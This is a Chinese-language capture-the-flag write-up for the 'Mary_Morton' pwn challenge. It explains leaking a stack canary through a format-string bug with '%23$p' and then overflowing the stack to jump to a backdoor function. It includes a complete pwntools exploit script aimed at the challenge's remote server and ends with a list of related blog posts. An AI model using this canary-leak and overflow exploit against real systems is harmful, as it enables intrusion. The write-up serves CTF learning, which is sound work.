64位程序,开启了canary和nx保护

执行以下,效果如下:

有提示:

输入1那块存在栈溢出

输入2那块存在格式化字符串漏洞

拖到ida看一下

main函数:

栈溢出的函数:

有canary保护,根据程序可以看出,v2应该就是canary的值,一开始,将_readfsqword(0x28u)的值给v2,后来又和v2做异或操作,只有v2与它还相等,程序返回0,否则返回不为零的数。

加入了canary后,栈帧情况如下图:

根据注释:buf在rbp-90h,v2在rbp-8h,所以,覆盖返回地址的话,需要0x90-0x8=0x88覆盖局部变量,然后放上canary的值,在8个“a”覆盖ebp,最后加上system的返回地址既可以。

格式化字符串漏洞函数:

攻击可以用栈溢出,但是缺少canary的值,可以用格式化字符串漏洞来泄漏,buf和v2的位置在两个函数里都一样

首先看下我们输入时候的偏移

%p可以泄露十六位的地址

可以数到,我们输入后的偏移为6

又因为,buf和v2本来的差距就有0x90-8h=0x88 0x88/0x8=0x11(十进制17)

所以,总共需要往后找17+6=23个地址上即存canary的值

在text段,找到后门函数(看下text段)

根据以上,可以写exp

#coding=utf-8
from pwn import *context.log_level = 'debug'
p = remote('111.198.29.45',56161)p.recvuntil("Exit the battle ")
p.sendline(str(2))#先进入格式化函数泄漏cannary
p.sendline("%23$p")#泄漏cannary
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16个字节p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

运行结果:

攻防世界Mary_Morton相关推荐

  1. 攻防世界 Mary_Morton

    刚开始我们都要ida静态分析一下 当为1的时候,发生格式化字符串泄露canary 当为2时候,栈溢出到后门函数 获得flag 先通过格式化字符串泄露计算偏移量 发现为第6个参数,然而 buf到cana ...

  2. 攻防世界Mary_Morton wp

    首先查看他的保护机制:(checksec) 有canary保护 然后我们拖进ida发现两处溢出点: 看一下流程图和汇编可以知道readsqword这个地方有canary保护,只有 rax 和fs:28 ...

  3. [攻防世界 pwn]——Mary_Morton

    [攻防世界 pwn]--Mary_Morton 题目地址: https://adworld.xctf.org.cn/ 题目: checksec看下,64位还开启了NX和canary保护.(一般开启ca ...

  4. 攻防世界高手进阶区 ——Mary_Morton

    攻防世界高手进阶区 --Mary_Morton 不容易呀,这都已经是第七题了,继续加油! 一,老规矩,先分析一下文件 checksec一下 发现开启了栈溢出,可能这个题就是学习栈溢出漏洞绕过的. 运行 ...

  5. 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制

    ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...

  6. 攻防世界 Pwn 进阶 第一页

    00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...

  7. 攻防世界pwn--Mary_Morton

    攻防世界pwn–Mary_Morton file 一下,查看文件属性 checksec一下,查看保护措施 ① 开了canary,在调用函数的时候会在栈上设置一个标志,标志的位置: ② 开了NX,栈不可 ...

  8. 【攻防世界001】Guess-the-Number

    攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...

  9. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

最新文章

  1. Java面试之Java基础下册(含答案)
  2. 一个自定义python分布式爬虫框架。
  3. WINCE5 s3c2440_SD驱动知识补充
  4. 百度景鲲:AI交互正在吃掉旧产品边界,触达移动互联网盲区用户 | MEET2020
  5. centos 安装 redmine 2.1.4
  6. rest-framework-权限组件
  7. java49_java培训 java49条基础知识
  8. OJ1041: 数列求和2(高阶递推)
  9. Spring.NET学习笔记15——AOP的配置(基础篇) Level 200
  10. AcWing 102. 最佳牛围栏
  11. 开源视频会议系统:OpenMeetings 安装方法
  12. req.getParameterValues 输出前端乱码
  13. 什么是TPM设备管理系统?本文来告诉你
  14. nginx+php部署环境
  15. 最小公倍数和最小公约数
  16. Office - PPT 02
  17. 淘宝等各平台API接口,执行item_get - 获得商品详情信息
  18. html怎样使得链接在新窗口中打开
  19. 调用百度人体属性检测api进行人员预标注
  20. baseline 和 benchmark 的区别

热门文章

  1. 几个在线查看函数图像的网站
  2. Android Qcom lcd display 学习(3)
  3. C++ const的引用
  4. jni/../../Classes/AppDelegate.cpp:29: error: undefined reference to 'StartLayer。而且没生成libgame.so文件...
  5. 老毛桃电脑重装linux系统,如何简单快速用U盘装Win10系统,小白也能变装系统达人...
  6. 10个小时、120个项目,AI创业者的行业淘汰赛已经开始
  7. ------javascript------N
  8. oled和qled电视哪个贵 oled和qled电视哪个对视力伤害较少
  9. 台式机接收器此计算机已被连接限制,台式机使用无线接收器上不了网如何解决...
  10. 循环比赛日程表(分治法)